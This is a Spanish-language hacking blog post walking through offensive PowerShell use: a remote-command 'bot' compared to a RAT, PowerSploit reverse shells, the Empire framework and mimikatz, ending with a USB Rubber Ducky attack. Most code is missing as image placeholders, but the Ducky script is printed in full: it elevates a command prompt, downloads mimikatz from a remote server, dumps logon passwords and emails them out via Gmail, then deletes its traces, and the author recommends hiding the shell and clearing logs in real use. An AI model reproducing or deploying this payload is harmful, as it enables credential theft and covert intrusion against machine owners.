¡Hola a todos! Esta vez vengo a enseñaros lo potente que es powershell y más si lo combinamos con un rubberducky.

Powershell

 

Antes de empezar con complejos frameworks ya hechos, me gustaría empezar más o menos desde 0, para que entendáis a grosso modo como funcionan.


¿Qué es powershell?

Powershell es una consola de sistema, un terminal o “CLI” bastante más avanzado y completo que MS-DOS o CMD desde el que podremos configurar completamente un equipo informático basado en Windows sin tener que depender de un escritorio para ello.

Teniendo esto claro, comenzamos a trastear powershell, para ello abriremos un terminal ISE:

Powershell

Empezaremos creando una función bastante simple, pero que nos ayudará a entender el funcionamiento de powershell:

Powershell

Ejecutamos y llamamos a nuestra función:

Powershell

¿Fácil verdad?

Puesto que ya sabemos crear funciones y llamarlas posteriormente, vamos a modificarla de tal manera, que coja otra función en un servidor remoto:

Para ello creamos la función en un simple txt:

Powershell

Y el nuevo código:

Powershell

Ejecutamos y llamamos a nuestra función:
Powershell

Espero que llegados a este punto, a alguien se le haya iluminado la bombilla, ¿Entonces… podríamos dejar siempre un powershell persistente actualizándose periódicamente y ejecutando comandos alojados en nuestro servidor?


¡BINGO!

Para ello, haremos un pequeño “bot” que ejecutará los comandos que le enviemos:

Powershell

El funcionamiento es bastante simple, se descargará comando.txt, cortará por el valor | y tomará el valor 1 (ósea, el segundo, ya que recordamos que se empieza por 0), buscará el comando con el valor 1 y lo ejecutará:

Powershell

Powershell

De esta manera, al ejecutar nuestra función, nuestro fondo de pantalla cambiará por:

Powershell

Seguramente os parezca muy similar al anterior, pero este es más escalable al poder enviarle comandos y no tener que estar actualizando siempre el mismo fichero, además de poder ampliarlo con funciones por defecto en las que no tendría que buscar el comando. Sólo quedaría añadirle la persistencia para que se ejecute automáticamente y periódicamente, en este caso sería parecido a cualquier RAT.

Como nos habremos dado cuenta, powershell es bastante potente, ya que nos permite hacer lo que queramos con el sistema operativo, así que, ahora si que si, vamos con los frameworks!


Frameworks

El primero será powersploit podréis obtenerlo del repositorio oficial en github: https://github.com/PowerShellMafia/PowerSploit, más concretamente utilizaremos Invoke-Shellcolde:

Powershell

Ejecutaremos Get-Help Invoke-Shellcode para comprobar que ha cargado correctamente

Powershell

¡Ahora empieza lo bueno! Vamos a generar una reverse Shell y a tomar el control de la siguiente forma:

Obviamente antes deberíamos haber dejado a la escucha nuestro metasploit:

Powershell

¡Ahora es turno de Empire!  Otro gran framework.

Antes de empezar con Empire, comenzaremos con la teoría rápida:

La estructura de Empire es bastante curiosa y es que se divide en tres:

  • Listeners: son los que están a la “escucha”, básicamente, son los que encontrarán básicamente a las máquinas infectadas que están conectando con nosotros.
  • Agents: resultado de ejecutar nuestro código malicioso (infectados).
  • Stagers: módulos que incluye empire.

Procederemos a descargarnos empire del repositorio oficial en github: https://github.com/adaptivethreat/Empire

Una vez tengamos los ficheros, deberemos ejecutar el fichero install.sh que hay dentro de la carpeta setup, este instalará todas las dependencias necesarias para utilizar empire.

Powershell

Powershell

El primer paso será crear nuestro Listener para que encuentre a los Agents:

Powershell

Dentro de agents, creamos nuestro primer código “malicioso”:

Powershell

El fichero obtenido será un .bat con el siguiente contenido:

16

17

La víctima ejecutará el .bat y….

Powershell

Powershell

Estas son las opciones disponibles:

Powershell

En mi caso intentaré hacer bypass a la UAC para obtener las credenciales con mimikatz:

20

21

Peeero, por desgracia nuestro usuario no tiene permisos de administración y por tanto, no podemos ejecutar mimikatz :

22


De 0 a Pato:

Tranquilos, que esto estaba planeado así, de ahí el titulo “De 0 a Pato“, y es, que Empire nos permite también generar el payload para nuestro querido USB RubberDucky:

19

 

El payload generado es bastante parecido al del .bat, para que nuestro querido patito lo ejecute tendremos que hacer lo siguiente, guardar nuestro payload en un fichero (yo estaba vez hice que descargara mimikatz lo ejecutara y me enviara los logs por email, pero lo suyo sería hacer ambas cosas, empire + mimikatz via email para asegurar), una vez tengamos nuestro payload, utilizaremos el encoder para que lo pueda ejecutar:

2

Nota: Tuve bastantes problemas con la codificación del teclado, así que, os dejo la que he utilizado: espa y utilizar la versión del encoder 2.6.4.

Hora de probar nuestro patito:

Payload utilizado:

REM Author: Pesce
REM Date: 10/20/2013
REM Note: Thanks to all the help everyone! This is my first attempt, don’t be to upset!
REM ————-open command prompt with admin privileges
DELAY 3000
CONTROL ESCAPE
DELAY 1000
STRING cmd
DELAY 1000
CTRL-SHIFT ENTER
DELAY 1000
ALT y
ENTER
DELAY 300
REM ————-download appropriate mimikatz for architecture
STRING powershell if ([System.IntPtr]::Size -eq 4) { (new-object System.Net.WebClient).DownloadFile(‘https://web.com/mimikatz.exe’,’%TEMP%\pw.exe’); }else{ (new-object System.Net.WebClient).DownloadFile(‘https://web2/mimikatz.exe’,’%TEMP%\pw.exe’);}
ENTER
DELAY 5000
REM ————-get the passwords and save to c:\pwlog.txt
STRING %TEMP%\pw.exe > C:\pwlog.txt & type C:\pwlog.txt;
ENTER
DELAY 2000
STRING privilege::debug
ENTER
DELAY 1000
STRING sekurlsa::logonPasswords full
ENTER
DELAY 1000
STRING exit
ENTER
DELAY 300
STRING del %TEMP%\pw.exe
ENTER
DELAY 300
REM ————-email log via gmail
STRING powershell
ENTER
DELAY 300
STRING $SMTPServer = ‘smtp.gmail.com’
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential(‘[email protected]’, ‘password’);
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = ‘[email protected]
ENTER
STRING $ReportEmail.To.Add(‘[email protected]’)
ENTER
STRING $ReportEmail.Subject = ‘Duck Report’
ENTER
STRING $ReportEmail.Body = ‘Attached is your duck report.’
ENTER
STRING $ReportEmail.Attachments.Add(‘C:\pwlog.txt’)
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
DELAY 1000
STRING exit
ENTER
REM ———————delete and end
STRING del C:\pwlog.txt
ENTER
DELAY 300
STRING exit
ENTER

Revisamos el correo y…

xd

xdd

Nota: es importante que si lo usais en entornos reales, evitéis los mayores peligros posibles ocultando la shell:

Y borrando los registros posibles:

Hasta aquí la entrada de hoy! Espero que os haya gustado.

Un saludo,

Álvaro.

Posts Relacionados

Comments

comments

2 comments

  • Maximilian Sinn
    Maximilian Sinn

    Hola, buenas… Paso por aquí aprovechando la campaña de Bitácoras para votar tu blog en tu categoría. Y si tuvieras un huequito libre en Arte y Cultura para “hazmepoeta.com” sería genial. Muchísimas gracias por adelantado y suerte!!

  • Blackdrake
    Blackdrake

    Hola! Por supuesto, cuenta con ello.

    Muchas gracias! 😀

Deja una respuesta

Tu email no será publicado. Los campos requeridos estan marcados con *
Puedes usar tags HTML y los atributos: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">